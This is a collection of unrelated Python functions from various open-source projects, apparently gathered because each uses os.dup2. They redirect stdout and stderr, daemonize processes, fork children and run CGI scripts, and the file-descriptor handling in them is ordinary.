def hook(ui, repo, name, throw=False, **args):
r = False
if _redirect:
# temporarily redirect stdout to stderr
oldstdout = os.dup(sys.__stdout__.fileno())
os.dup2(sys.__stderr__.fileno(), sys.__stdout__.fileno())
try:
for hname, cmd in ui.configitems('hooks'):
if hname.split('.')[0] != name or not cmd:
continue
if hasattr(cmd, '__call__'):
r = _pythonhook(ui, repo, name, hname, cmd, args, throw) or r
elif cmd.startswith('python:'):
if cmd.count(':') >= 2:
path, cmd = cmd[7:].rsplit(':', 1)
mod = extensions.loadpath(path, 'hghook.%s' % hname)
hookfn = getattr(mod, cmd)
else:
hookfn = cmd[7:].strip()
r = _pythonhook(ui, repo, name, hname, hookfn, args, throw) or r
else:
r = _exthook(ui, repo, hname, cmd, args, throw) or r
finally:
if _redirect:
os.dup2(oldstdout, sys.__stdout__.fileno())
os.close(oldstdout)
return r
def saved_fd(fd):
new_fd = os.dup(fd)
try:
yield
finally:
os.dup2(new_fd, fd)
os.close(new_fd)
def test_image_update_data_is_read_from_file(self):
"""Ensure that data is read from a file."""
try:
# NOTE(hughsaunders) Create a tmpfile, write some data to it and
# set it as stdin
f = open(tempfile.mktemp(), 'w+')
f.write('Some Data')
f.flush()
f.seek(0)
os.dup2(f.fileno(), 0)
self._do_update('44d2c7e1-de4e-4612-8aa2-ba26610c444f')
self.assertTrue('data' in self.collected_args[1])
self.assertIsInstance(self.collected_args[1]['data'], file)
self.assertEqual(self.collected_args[1]['data'].read(),
'Some Data')
finally:
try:
f.close()
os.remove(f.name)
except Exception:
pass
def git_handler(pi, args):
cmd = [pi.git, args.cmd, pi.remote_cache_path]
ret = subprocess.call(cmd)
if ret:
sys.exit(ret)
os.dup2(2, 1)
pi.sync_environments()
def __exit__(self, exe_type, exe_val, tb):
sys.stdout.flush()
sys.stderr.flush()
os.dup2(self.old_out, 1)
os.dup2(self.old_err, 2)
os.close(self.old_out)
os.close(self.old_err)
self.temp.seek(0)
# dump everything if an exception was thrown
if exe_type is not None:
for line in self.temp:
sys.stderr.write(line)
return False
# if no exception is thrown only dump important lines
for line in self.temp:
if self._should_veto(line):
continue
accept = self._should_accept(line)
if self.re is not None:
re_found = self.re.search(line)
else:
re_found = False
if accept or re_found:
sys.stderr.write(line)
def exec_piped_fork(l, env, stdout, stderr):
# spawn using fork / exec and providing a pipe for the command's
# stdout / stderr stream
if stdout != stderr:
(rFdOut, wFdOut) = os.pipe()
(rFdErr, wFdErr) = os.pipe()
else:
(rFdOut, wFdOut) = os.pipe()
rFdErr = rFdOut
wFdErr = wFdOut
# do the fork
pid = os.fork()
if not pid:
# Child process
os.close( rFdOut )
if rFdOut != rFdErr:
os.close( rFdErr )
os.dup2( wFdOut, 1 ) # is there some symbolic way to do that ?
os.dup2( wFdErr, 2 )
os.close( wFdOut )
if stdout != stderr:
os.close( wFdErr )
exitval = 127
try:
os.execvpe(l[0], l, env)
except OSError, e:
exitval = exitvalmap.get(e[0], e[0])
stderr.write("scons: %s: %s\n" % (l[0], e[1]))
os._exit(exitval)
def main (self) :
# parse the command line
logfile = ''
opts, args = getopt.gnu_getopt(sys.argv[1:], 'l:')
for o, a in opts :
if o in ('-l',) :
logfile = a
else :
assert 0, (o, a)
assert not args, args
# redirect and run
if logfile :
flog = open(logfile, 'wt')
os.dup2(flog.fileno(), sys.stderr.fileno())
exc = None
try:
self.real_main()
except Exception:
exc = sys.exc_info()
if exc :
fexc = format_exception(exc)
sys.stderr.writelines(fexc)
text = _("Sorry, something terrible just happened:") + "\n\n"
text += ''.join(fexc)
DMsgBox(text=text).run()
r = 1
else :
r = 0
if logfile :
flog.close()
return r
def live_profile(script, timer, interval, pickle_protocol, mono):
"""Profile a Python script continuously."""
filename, code, globals_ = script
sys.argv[:] = [filename]
parent_sock, child_sock = socket.socketpair()
pid = os.fork()
if pid == 0:
# child
devnull = os.open(os.devnull, os.O_RDWR)
for f in [sys.stdin, sys.stdout, sys.stderr]:
os.dup2(devnull, f.fileno())
frame = sys._getframe()
profiler = BackgroundProfiler(timer, frame, code)
profiler.prepare()
server_args = (noop, interval, pickle_protocol)
server = SelectProfilingServer(None, profiler, *server_args)
server.clients.add(child_sock)
spawn_thread(server.connected, child_sock)
try:
exec_(code, globals_)
finally:
child_sock.close()
else:
# parent
viewer, loop = make_viewer(mono)
title = get_title(filename)
client = ProfilingClient(viewer, loop.event_loop, parent_sock, title)
client.start()
try:
loop.run()
except KeyboardInterrupt:
pass
finally:
parent_sock.close()
os.kill(pid, signal.SIGINT)
def runlog(command, destroylog=False,
keeprunning=False, logvar='LOGFILE'):
"""This function will run a command and write all
output to a logfile. This function is likely
to be deprecated. It was only called from paella,
and now paella has it's own runlog function.
"""
from useless import deprecated
deprecated("runlog is deprecated")
logfile = os.environ[logvar]
if isfile(logfile) and destroylog:
os.remove(logfile)
sysstream = dict(in_=sys.stdin, out=sys.stdout, err=sys.stderr)
newstream = dict(in_=file('/dev/null'),
out=file(logfile, 'a'),
err=file(logfile, 'a+', 0))
backup = {}
for stream in sysstream:
backup[stream] = [os.dup(sysstream[stream].fileno()),
sysstream[stream].fileno()]
for stream in sysstream:
os.dup2(newstream[stream].fileno(), backup[stream][1])
run = os.system(command)
if run and not keeprunning:
raise RuntimeError, 'error in command %s , check %s' % (command, logfile)
for stream in sysstream:
os.dup2(backup[stream][0], backup[stream][1])
for stream in newstream:
newstream[stream].close()
for stream in backup:
os.close(backup[stream][0])
return run
def __enter__(self):
F = tempfile.NamedTemporaryFile()
self.prevfd = os.dup(sys.stderr.fileno())
os.dup2(F.fileno(), sys.stderr.fileno())
self.prev = sys.stderr
sys.stderr = os.fdopen(self.prevfd, "w")
return F
def capture_stdio(logger, **kwargs):
"""
Log unhandled exceptions, close stdio, capture stdout and stderr.
param logger: Logger object to use
"""
# log uncaught exceptions
sys.excepthook = lambda * exc_info: \
logger.critical(_('UNCAUGHT EXCEPTION'), exc_info=exc_info)
# collect stdio file desc not in use for logging
stdio_files = [sys.stdin, sys.stdout, sys.stderr]
console_fds = [h.stream.fileno() for _junk, h in getattr(
get_logger, 'console_handler4logger', {}).items()]
stdio_files = [f for f in stdio_files if f.fileno() not in console_fds]
with open(os.devnull, 'r+b') as nullfile:
# close stdio (excludes fds open for logging)
for f in stdio_files:
f.flush()
try:
os.dup2(nullfile.fileno(), f.fileno())
except OSError:
pass
# redirect stdio
if kwargs.pop('capture_stdout', True):
sys.stdout = LoggerFileObject(logger)
if kwargs.pop('capture_stderr', True):
sys.stderr = LoggerFileObject(logger)
def daemonize():
"""\
Standard daemonization of a process.
http://www.svbug.com/documentation/comp.unix.programmer-FAQ/faq_2.html#SEC16
"""
if not 'GUNICORN_FD' in os.environ:
if os.fork():
os._exit(0)
os.setsid()
if os.fork():
os._exit(0)
os.umask(0)
maxfd = get_maxfd()
# Iterate through and close all file descriptors.
for fd in range(0, maxfd):
try:
os.close(fd)
except OSError: # ERROR, fd wasn't open to begin with (ignored)
pass
os.open(REDIRECT_TO, os.O_RDWR)
os.dup2(0, 1)
os.dup2(0, 2)
def _restoreio(ui, fin, fout):
""" restores streams from duplicated ones """
ui.flush()
for f, uif in [(fin, ui.fin), (fout, ui.fout)]:
if f is not uif:
os.dup2(f.fileno(), uif.fileno())
f.close()
def cli(ctx, index):
# Get settings from CustomScriptForLinux extension configurations
waagent.LoggerInit('/var/log/waagent.log', '/dev/null')
ctx.meta["settings"] = settings = get_settings()
ctx.meta["index-file"] = index
group = ctx.command
commands = sorted([c for c in group.commands])
# start logging to stdout and install.log
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
username = settings["username"]
log_file = os.path.join("/home", username, "pcf_install.log")
tee = Popen(["tee", log_file], stdin=PIPE)
os.dup2(tee.stdin.fileno(), sys.stdout.fileno())
os.dup2(tee.stdin.fileno(), sys.stderr.fileno())
if ctx.invoked_subcommand is None:
for command in commands:
command = re.sub('\d{2}_', '', command)
print "Running {0}...".format(command)
ctx.invoke(eval(command))
else:
pass
def __init__(self, method, args=[], kwargs={}, logfile=None, log_append=False, signals=["USR1", "USR2"]):
"""
.. method:: __init__(self...)
Runs the ``method`` provided by the user.
"""
if _thisDaemon.isSet():
raise Exception("this process (%s) has already initialised the daemon" % os.getpid())
_thisDaemon.set(self)
self._initSignals(signals)
try:
os.close(0) # stdin
except:
pass
logfh = None
if logfile:
try:
flags = os.O_RDWR | os.O_CREAT
if log_append:
flags |= os.O_APPEND
logfh = os.open(logfile, flags)
# Stdout to log file
os.dup2(logfh, 1)
# Stderr to log file
os.dup2(logfh, 2)
except OSError, err:
print "Could not open log file '%s' for daemon: %s " % (logfile, err.strerror)
def setUp (self):
self.tb = gr.top_block()
self.tmpfile = tempfile.NamedTemporaryFile()
self.prevfd = os.dup(sys.stdout.fileno())
os.dup2(self.tmpfile.fileno(), sys.stdout.fileno())
self.prev = sys.stdout
sys.stdout = os.fdopen(self.prevfd, "w")
def testCMIP6(self):
try:
# -------------------------------------------
# Try to call cmor with a bad institution_ID
# -------------------------------------------
cmor.setup(
inpath='Tables',
netcdf_file_action=cmor.CMOR_REPLACE)
cmor.dataset_json("Test/test_python_CMIP6_CV_badgridlabel.json")
# ------------------------------------------
# load Omon table and create masso variable
# ------------------------------------------
cmor.load_table("CMIP6_Omon.json")
itime = cmor.axis(table_entry="time", units='months since 2010',
coord_vals=numpy.array([0, 1, 2, 3, 4.]),
cell_bounds=numpy.array([0, 1, 2, 3, 4, 5.]))
ivar = cmor.variable(table_entry="masso", axis_ids=[itime], units='kg')
data = numpy.random.random(5)
for i in range(0, 5):
cmor.write(ivar, data[i:i])
except:
os.dup2(self.newstdout, 1)
os.dup2(self.newstderr, 2)
testOK = self.getAssertTest()
sys.stdout = os.fdopen(self.newstdout, 'w', 0)
sys.stderr = os.fdopen(self.newstderr, 'w', 0)
# ------------------------------------------
# Check error after signal handler is back
# ------------------------------------------
self.assertIn("\"gs1n\"", testOK)
def load_model(self, model_file, pretrained_file, mean_file):
"""
Loads specified model from caffe install (see caffe docs).
:param str model_file:
Path to model protobuf.
:param str pretrained_file:
Path to pretrained caffe model.
:param str mean_file:
Path to mean file.
"""
# load net (supressing stderr output)
null_fds = os.open(os.devnull, os.O_RDWR)
out_orig = os.dup(2)
os.dup2(null_fds, 2)
net = caffe.Net(model_file, pretrained_file, caffe.TEST)
os.dup2(out_orig, 2)
os.close(null_fds)
# all models used are trained on imagenet data
transformer = caffe.io.Transformer({"data": net.blobs["data"].data.shape})
transformer.set_mean("data", np.load(mean_file).mean(1).mean(1))
transformer.set_channel_swap("data", (2,1,0))
transformer.set_transpose("data", (2,0,1))
transformer.set_raw_scale("data", 255)
# add net parameters
self.net = net
self.transformer = transformer
def run_captured(self, cmd):
"""Run a command, capturing stdout and stderr.
Based in part on popen2.py
Returns (waitstatus, stdout, stderr)."""
import os, types
pid = os.fork()
if pid == 0:
# child
try:
pid = os.getpid()
openmode = os.O_WRONLY|os.O_CREAT|os.O_TRUNC
outfd = os.open('%d.out' % pid, openmode, 0666)
os.dup2(outfd, 1)
os.close(outfd)
errfd = os.open('%d.err' % pid, openmode, 0666)
os.dup2(errfd, 2)
os.close(errfd)
if isinstance(cmd, types.StringType):
cmd = ['/bin/sh', '-c', cmd]
os.execvp(cmd[0], cmd)
finally:
os._exit(127)
else:
# parent
exited_pid, waitstatus = os.waitpid(pid, 0)
stdout = open('%d.out' % pid).read()
stderr = open('%d.err' % pid).read()
return waitstatus, stdout, stderr
def runDebug(self, exc_info):
if flags.can_touch_runtime_system("switch console") \
and self._intf_tty_num != 1:
iutil.vtActivate(1)
os.open("/dev/console", os.O_RDWR) # reclaim stdin
os.dup2(0, 1) # reclaim stdout
os.dup2(0, 2) # reclaim stderr
# ^
# |
# +------ dup2 is magic, I tells ya!
# bring back the echo
import termios
si = sys.stdin.fileno()
attr = termios.tcgetattr(si)
attr[3] = attr[3] & termios.ECHO
termios.tcsetattr(si, termios.TCSADRAIN, attr)
print("\nEntering debugger...")
print("Use 'continue' command to quit the debugger and get back to "\
"the main window")
import pdb
pdb.post_mortem(exc_info.stack)
if flags.can_touch_runtime_system("switch console") \
and self._intf_tty_num != 1:
iutil.vtActivate(self._intf_tty_num)
def _child(self, nice_level):
# right now we need to call a function, but first we need to
# map all IO that might happen
# make sure sys.stdout points to file descriptor one
sys.stdout = stdout = self.STDOUT.open('w')
sys.stdout.flush()
fdstdout = stdout.fileno()
if fdstdout != 1:
os.dup2(fdstdout, 1)
sys.stderr = stderr = self.STDERR.open('w')
fdstderr = stderr.fileno()
if fdstderr != 2:
os.dup2(fdstderr, 2)
retvalf = self.RETVAL.open("wb")
EXITSTATUS = 0
try:
if nice_level:
os.nice(nice_level)
try:
retval = self.fun(*self.args, **self.kwargs)
retvalf.write(marshal.dumps(retval))
except:
excinfo = py.code.ExceptionInfo()
stderr.write(excinfo.exconly())
EXITSTATUS = self.EXITSTATUS_EXCEPTION
finally:
stdout.close()
stderr.close()
retvalf.close()
os.close(1)
os.close(2)
os._exit(EXITSTATUS)
def daemonize():
"""\
Standard daemonization of a process. Code is basd on the
ActiveState recipe at:
http://code.activestate.com/recipes/278731/
"""
if not 'GUNICORN_FD' in os.environ:
if os.fork() == 0:
os.setsid()
if os.fork() != 0:
os.umask(0)
else:
os._exit(0)
else:
os._exit(0)
maxfd = get_maxfd()
# Iterate through and close all file descriptors.
for fd in range(0, maxfd):
try:
os.close(fd)
except OSError: # ERROR, fd wasn't open to begin with (ignored)
pass
os.open(REDIRECT_TO, os.O_RDWR)
os.dup2(0, 1)
os.dup2(0, 2)
def check_api_version(compiler, api_version_code, libraries, library_dirs, include_dirs) -> float:
tmp_dir = tempfile.mkdtemp(prefix='urh-')
devnull = old_stderr = None
try:
try:
file_name = os.path.join(tmp_dir, 'get_api_version.c')
with open(file_name, 'w') as f:
f.write(api_version_code)
# Redirect stderr to /dev/null to hide any error messages from the compiler.
devnull = open(os.devnull, 'w')
old_stderr = os.dup(sys.stderr.fileno())
os.dup2(devnull.fileno(), sys.stderr.fileno())
objects = compiler.compile([file_name], include_dirs=include_dirs)
check_api_program = os.path.join(tmp_dir, "check_api")
compiler.link_executable(objects, check_api_program, library_dirs=library_dirs, libraries=libraries)
env = os.environ.copy()
env["PATH"] = os.pathsep.join(library_dirs) + os.pathsep + os.environ.get("PATH", "")
return float(check_output(check_api_program, env=env))
except Exception as e:
print("API version check failed: {}".format(e))
return 0.0
finally:
if old_stderr is not None:
os.dup2(old_stderr, sys.stderr.fileno())
if devnull is not None:
devnull.close()
shutil.rmtree(tmp_dir)
def refund(cp, job):
'''
refund a job by its job id
'''
args = ["grefund"]
args += ["-J", job["dbid"]]
log.debug("grefund "+ str(args))
pid = os.fork()
status = 0
fd = open(logname, 'a')
fdfileno = fd.fileno()
if pid == 0:
execvpstatus = 0
try:
os.dup2(fdfileno, 1)
os.dup2(fdfileno, 2)
execvpstatus = os.execvp("grefund", args)
except:
log.error("os.execvp failed; erro code is " + str(execvpstatus))
os._exit(1)
pid2 = 0
while pid != pid2:
pid2, status = os.wait()
if status == 0:
log.debug("grefund " + str(args) + "\nJob refund succeed ... ")
else:
log.error("grefund " + str(args) + "\nJob refund failed; Error code is "+str(status))
return status
def compiler_has_function(compiler, function_name, libraries, library_dirs, include_dirs) -> bool:
tmp_dir = tempfile.mkdtemp(prefix='urh-')
devnull = old_stderr = None
try:
try:
file_name = os.path.join(tmp_dir, '{}.c'.format(function_name))
f = open(file_name, 'w')
f.write('int main(void) {\n')
f.write(' %s();\n' % function_name)
f.write('}\n')
f.close()
# Redirect stderr to /dev/null to hide any error messages from the compiler.
devnull = open(os.devnull, 'w')
old_stderr = os.dup(sys.stderr.fileno())
os.dup2(devnull.fileno(), sys.stderr.fileno())
objects = compiler.compile([file_name], include_dirs=include_dirs)
compiler.link_executable(objects, os.path.join(tmp_dir, "a.out"), library_dirs=library_dirs,
libraries=libraries)
except Exception as e:
return False
return True
finally:
if old_stderr is not None:
os.dup2(old_stderr, sys.stderr.fileno())
if devnull is not None:
devnull.close()
shutil.rmtree(tmp_dir)
def capture_stdio(self):
# TODO: something smarter than this?
try:
os.dup2(logging._handlerList[0]().stream.fileno(), sys.stdout.fileno())
os.dup2(logging._handlerList[0]().stream.fileno(), sys.stderr.fileno())
except:
pass
def hasfunction(cc, funcname, include=None, extra_postargs=None):
# From http://stackoverflow.com/questions/
# 7018879/disabling-output-when-compiling-with-distutils
tmpdir = tempfile.mkdtemp(prefix='hasfunction-')
devnull = oldstderr = None
try:
try:
fname = os.path.join(tmpdir, 'funcname.c')
f = open(fname, 'w')
if include is not None:
f.write('#include %s\n' % include)
f.write('int main(void) {\n')
f.write(' %s;\n' % funcname)
f.write('}\n')
f.close()
devnull = open(os.devnull, 'w')
oldstderr = os.dup(sys.stderr.fileno())
os.dup2(devnull.fileno(), sys.stderr.fileno())
objects = cc.compile([fname], output_dir=tmpdir,
extra_postargs=extra_postargs)
cc.link_executable(objects, os.path.join(tmpdir, 'a.out'))
except Exception as e:
return False
return True
finally:
if oldstderr is not None:
os.dup2(oldstderr, sys.stderr.fileno())
if devnull is not None:
devnull.close()
shutil.rmtree(tmpdir)
def redirect_to_null(fds):
with open(os.devnull, 'r+b') as nullfile:
for desc in fds: # close fds
try:
os.dup2(nullfile.fileno(), desc)
except OSError:
pass
def debugRDKitMol(rdmol, level=logging.INFO):
"""
Takes an rdkit molecule object and logs some debugging information
equivalent to calling rdmol.Debug() but uses our logging framework.
Default logging level is INFO but can be controlled with the `level` parameter.
Also returns the message as a string, should you want it for something.
"""
import tempfile
import os
my_temp_file = tempfile.NamedTemporaryFile()
try:
old_stdout_file_descriptor = os.dup(sys.stdout.fileno())
except:
message = "Can't access the sys.stdout file descriptor, so can't capture RDKit debug info"
print message
rdmol.Debug()
return message
os.dup2(my_temp_file.fileno(), sys.stdout.fileno())
rdmol.Debug()
os.dup2(old_stdout_file_descriptor, sys.stdout.fileno())
my_temp_file.file.seek(0)
message = my_temp_file.file.read()
message = "RDKit Molecule debugging information:\n" + message
logging.log(level, message)
return message
def testPyObject(self):
import os
class TestThreadRunner :
def run_(self, argument):
for i in range(100):
argument.append(i)
myObj = TestThreadRunner()
lst = []
# Redirect stderr to avoid spurious messages when running the
# tests.
dupped = os.dup(2)
fp = os.open('/dev/null', os.O_RDWR)
os.dup2(fp, 2)
os.close(fp)
try:
NSThread.detachNewThreadSelector_toTarget_withObject_(
'run:', myObj, lst)
lst2 = []
for i in range(100):
lst2.append(i*2)
time.sleep(2)
self.assertEqual(lst, range(100))
finally:
os.dup2(dupped, 2)
with open(options['results_file'], 'wb') as f:
f.write(data)
print('\nInstability scores saved to %s' % options['results_file'])
else: # Start the MIPhy server.
daemon = miphy_daemon.Daemon(options['server_port'],
web_server=False,
instance_timeout_inf=opts.manual_browser,
verbose=opts.verbose)
idnum = daemon.new_instance(gene_tree_data,
info_data,
use_coords=options['use_coords'],
coords_file=options['coords_file'])
daemon.process_instance(idnum, options['params'])
results_url = 'http://127.0.0.1:%i/results?%s' % (
options['server_port'], idnum)
if opts.manual_browser:
print(
'\nMIPhy daemon started. Use the following URL to access the results:\n%s'
% results_url)
else:
# This code prevents the browser from continually printing warnings and error messages, which are usually confusing and irrelevant. It was taken from http://stackoverflow.com/questions/2323080/how-can-i-disable-the-webbrowser-message-in-python
# It works by closing stderr only for the brief second it takes to process the "webbrowser.open(results_url)" call, before restoring it.
old_stderr = os.dup(2)
os.close(2)
os.open(os.devnull, os.O_RDWR)
try:
webbrowser.open(results_url)
finally:
os.dup2(old_stderr, 2)
daemon.start_server()
def set_log_file(fname):
import subprocess
tee = subprocess.Popen(['tee', fname], stdin=subprocess.PIPE)
os.dup2(tee.stdin.fileno(), sys.stdout.fileno())
os.dup2(tee.stdin.fileno(), sys.stderr.fileno())
def __fork_ptys(self):
'''
Fork the PTY
The major difference from the python source is that we separate the
stdout from stderr output.
'''
stdout_parent_fd, stdout_child_fd = pty.openpty()
if stdout_parent_fd < 0 or stdout_child_fd < 0:
raise TerminalException('Failed to open a TTY for stdout')
stderr_parent_fd, stderr_child_fd = pty.openpty()
if stderr_parent_fd < 0 or stderr_child_fd < 0:
raise TerminalException('Failed to open a TTY for stderr')
pid = os.fork()
if pid < pty.CHILD:
raise TerminalException('Failed to fork')
elif pid == pty.CHILD:
# Child.
# Close parent FDs
os.close(stdout_parent_fd)
os.close(stderr_parent_fd)
salt.utils.crypt.reinit_crypto()
# ----- Make STDOUT the controlling PTY --------------------->
child_name = os.ttyname(stdout_child_fd)
# Disconnect from controlling tty. Harmless if not already
# connected
try:
tty_fd = os.open('/dev/tty', os.O_RDWR | os.O_NOCTTY)
if tty_fd >= 0:
os.close(tty_fd)
# which exception, shouldn't we catch explicitly .. ?
except: # pylint: disable=W0702
# Already disconnected. This happens if running inside cron
pass
# New session!
os.setsid()
# Verify we are disconnected from controlling tty
# by attempting to open it again.
try:
tty_fd = os.open('/dev/tty', os.O_RDWR | os.O_NOCTTY)
if tty_fd >= 0:
os.close(tty_fd)
raise TerminalException(
'Failed to disconnect from controlling tty. It is '
'still possible to open /dev/tty.')
# which exception, shouldn't we catch explicitly .. ?
except: # pylint: disable=W0702
# Good! We are disconnected from a controlling tty.
pass
# Verify we can open child pty.
tty_fd = os.open(child_name, os.O_RDWR)
if tty_fd < 0:
raise TerminalException(
'Could not open child pty, {0}'.format(child_name))
else:
os.close(tty_fd)
# Verify we now have a controlling tty.
if os.name != 'posix':
# Only do this check in not BSD-like operating systems. BSD-like operating systems breaks at this point
tty_fd = os.open('/dev/tty', os.O_WRONLY)
if tty_fd < 0:
raise TerminalException(
'Could not open controlling tty, /dev/tty')
else:
os.close(tty_fd)
# <---- Make STDOUT the controlling PTY ----------------------
# ----- Duplicate Descriptors ------------------------------->
os.dup2(stdout_child_fd, pty.STDIN_FILENO)
os.dup2(stdout_child_fd, pty.STDOUT_FILENO)
os.dup2(stderr_child_fd, pty.STDERR_FILENO)
# <---- Duplicate Descriptors --------------------------------
else:
# Parent. Close Child PTY's
salt.utils.crypt.reinit_crypto()
os.close(stdout_child_fd)
os.close(stderr_child_fd)
return pid, stdout_parent_fd, stderr_parent_fd
def run_cgi(self):
"""Execute a CGI script."""
dir, rest = self.cgi_info
path = dir + '/' + rest
i = path.find('/', len(dir) + 1)
while i >= 0:
nextdir = path[:i]
nextrest = path[i + 1:]
scriptdir = self.translate_path(nextdir)
if os.path.isdir(scriptdir):
dir, rest = nextdir, nextrest
i = path.find('/', len(dir) + 1)
else:
break
# find an explicit query string, if present.
rest, _, query = rest.partition('?')
# dissect the part after the directory name into a script name &
# a possible additional path, to be stored in PATH_INFO.
i = rest.find('/')
if i >= 0:
script, rest = rest[:i], rest[i:]
else:
script, rest = rest, ''
scriptname = dir + '/' + script
scriptfile = self.translate_path(scriptname)
if not os.path.exists(scriptfile):
self.send_error(HTTPStatus.NOT_FOUND,
"No such CGI script (%r)" % scriptname)
return
if not os.path.isfile(scriptfile):
self.send_error(HTTPStatus.FORBIDDEN,
"CGI script is not a plain file (%r)" % scriptname)
return
ispy = self.is_python(scriptname)
if self.have_fork or not ispy:
if not self.is_executable(scriptfile):
self.send_error(
HTTPStatus.FORBIDDEN,
"CGI script is not executable (%r)" % scriptname)
return
# Reference: http://hoohoo.ncsa.uiuc.edu/cgi/env.html
# XXX Much of the following could be prepared ahead of time!
env = copy.deepcopy(os.environ)
env['SERVER_SOFTWARE'] = self.version_string()
env['SERVER_NAME'] = self.server.server_name
env['GATEWAY_INTERFACE'] = 'CGI/1.1'
env['SERVER_PROTOCOL'] = self.protocol_version
env['SERVER_PORT'] = str(self.server.server_port)
env['REQUEST_METHOD'] = self.command
uqrest = urllib.parse.unquote(rest)
env['PATH_INFO'] = uqrest
env['PATH_TRANSLATED'] = self.translate_path(uqrest)
env['SCRIPT_NAME'] = scriptname
if query:
env['QUERY_STRING'] = query
env['REMOTE_ADDR'] = self.client_address[0]
authorization = self.headers.get("authorization")
if authorization:
authorization = authorization.split()
if len(authorization) == 2:
import base64, binascii
env['AUTH_TYPE'] = authorization[0]
if authorization[0].lower() == "basic":
try:
authorization = authorization[1].encode('ascii')
authorization = base64.decodebytes(authorization).\
decode('ascii')
except (binascii.Error, UnicodeError):
pass
else:
authorization = authorization.split(':')
if len(authorization) == 2:
env['REMOTE_USER'] = authorization[0]
# XXX REMOTE_IDENT
if self.headers.get('content-type') is None:
env['CONTENT_TYPE'] = self.headers.get_content_type()
else:
env['CONTENT_TYPE'] = self.headers['content-type']
length = self.headers.get('content-length')
if length:
env['CONTENT_LENGTH'] = length
referer = self.headers.get('referer')
if referer:
env['HTTP_REFERER'] = referer
accept = []
for line in self.headers.getallmatchingheaders('accept'):
if line[:1] in "\t\n\r ":
accept.append(line.strip())
else:
accept = accept + line[7:].split(',')
env['HTTP_ACCEPT'] = ','.join(accept)
ua = self.headers.get('user-agent')
if ua:
env['HTTP_USER_AGENT'] = ua
co = filter(None, self.headers.get_all('cookie', []))
cookie_str = ', '.join(co)
if cookie_str:
env['HTTP_COOKIE'] = cookie_str
# XXX Other HTTP_* headers
# Since we're setting the env in the parent, provide empty
# values to override previously set values
for k in ('QUERY_STRING', 'REMOTE_HOST', 'CONTENT_LENGTH',
'HTTP_USER_AGENT', 'HTTP_COOKIE', 'HTTP_REFERER'):
env.setdefault(k, "")
self.send_response(HTTPStatus.OK, "Script output follows")
self.flush_headers()
decoded_query = query.replace('+', ' ')
if self.have_fork:
# Unix -- fork as we should
args = [script]
if '=' not in decoded_query:
args.append(decoded_query)
nobody = nobody_uid()
self.wfile.flush() # Always flush before forking
pid = os.fork()
if pid != 0:
# Parent
pid, sts = os.waitpid(pid, 0)
# throw away additional data [see bug #427345]
while select.select([self.rfile], [], [], 0)[0]:
if not self.rfile.read(1):
break
if sts:
self.log_error("CGI script exit status %#x", sts)
return
# Child
try:
try:
os.setuid(nobody)
except OSError:
pass
os.dup2(self.rfile.fileno(), 0)
os.dup2(self.wfile.fileno(), 1)
os.execve(scriptfile, args, env)
except:
self.server.handle_error(self.request, self.client_address)
os._exit(127)
else:
# Non-Unix -- use subprocess
import subprocess
cmdline = [scriptfile]
if self.is_python(scriptfile):
interp = sys.executable
if interp.lower().endswith("w.exe"):
# On Windows, use python.exe, not pythonw.exe
interp = interp[:-5] + interp[-4:]
cmdline = [interp, '-u'] + cmdline
if '=' not in query:
cmdline.append(query)
self.log_message("command: %s", subprocess.list2cmdline(cmdline))
try:
nbytes = int(length)
except (TypeError, ValueError):
nbytes = 0
p = subprocess.Popen(cmdline,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env)
if self.command.lower() == "post" and nbytes > 0:
data = self.rfile.read(nbytes)
else:
data = None
# throw away additional data [see bug #427345]
while select.select([self.rfile._sock], [], [], 0)[0]:
if not self.rfile._sock.recv(1):
break
stdout, stderr = p.communicate(data)
self.wfile.write(stdout)
if stderr:
self.log_error('%s', stderr)
p.stderr.close()
p.stdout.close()
status = p.returncode
if status:
self.log_error("CGI script exit status %#x", status)
else:
self.log_message("CGI script exited OK")
def _exec_command( command, use_shell=None, use_tee = None, **env ):
log.debug('_exec_command(...)')
if use_shell is None:
use_shell = os.name=='posix'
if use_tee is None:
use_tee = os.name=='posix'
using_command = 0
if use_shell:
# We use shell (unless use_shell==0) so that wildcards can be
# used.
sh = os.environ.get('SHELL','/bin/sh')
if is_sequence(command):
argv = [sh,'-c',' '.join(list(command))]
else:
argv = [sh,'-c',command]
else:
# On NT, DOS we avoid using command.com as it's exit status is
# not related to the exit status of a command.
if is_sequence(command):
argv = command[:]
else:
argv = shlex.split(command)
if hasattr(os,'spawnvpe'):
spawn_command = os.spawnvpe
else:
spawn_command = os.spawnve
argv[0] = find_executable(argv[0]) or argv[0]
if not os.path.isfile(argv[0]):
log.warn('Executable %s does not exist' % (argv[0]))
if os.name in ['nt','dos']:
# argv[0] might be internal command
argv = [os.environ['COMSPEC'],'/C'] + argv
using_command = 1
so_fileno = sys.stdout.fileno()
se_fileno = sys.stderr.fileno()
so_flush = sys.stdout.flush
se_flush = sys.stderr.flush
so_dup = os.dup(so_fileno)
se_dup = os.dup(se_fileno)
outfile = temp_file_name()
fout = open(outfile,'w')
if using_command:
errfile = temp_file_name()
ferr = open(errfile,'w')
log.debug('Running %s(%s,%r,%r,os.environ)' \
% (spawn_command.__name__,os.P_WAIT,argv[0],argv))
argv0 = argv[0]
if not using_command:
argv[0] = quote_arg(argv0)
so_flush()
se_flush()
os.dup2(fout.fileno(),so_fileno)
if using_command:
#XXX: disabled for now as it does not work from cmd under win32.
# Tests fail on msys
os.dup2(ferr.fileno(),se_fileno)
else:
os.dup2(fout.fileno(),se_fileno)
try:
status = spawn_command(os.P_WAIT,argv0,argv,os.environ)
except OSError:
errmess = str(get_exception())
status = 999
sys.stderr.write('%s: %s'%(errmess,argv[0]))
so_flush()
se_flush()
os.dup2(so_dup,so_fileno)
os.dup2(se_dup,se_fileno)
fout.close()
fout = open_latin1(outfile,'r')
text = fout.read()
fout.close()
os.remove(outfile)
if using_command:
ferr.close()
ferr = open_latin1(errfile,'r')
errmess = ferr.read()
ferr.close()
os.remove(errfile)
if errmess and not status:
# Not sure how to handle the case where errmess
# contains only warning messages and that should
# not be treated as errors.
#status = 998
if text:
text = text + '\n'
#text = '%sCOMMAND %r FAILED: %s' %(text,command,errmess)
text = text + errmess
print (errmess)
if text[-1:]=='\n':
text = text[:-1]
if status is None:
status = 0
if use_tee:
print (text)
return status, text
def _exec_task(fn, task, d, quieterr):
"""Execute a BB 'task'
Execution of a task involves a bit more setup than executing a function,
running it with its own local metadata, and with some useful variables set.
"""
if not d.getVarFlag(task, 'task', False):
event.fire(TaskInvalid(task, fn, d), d)
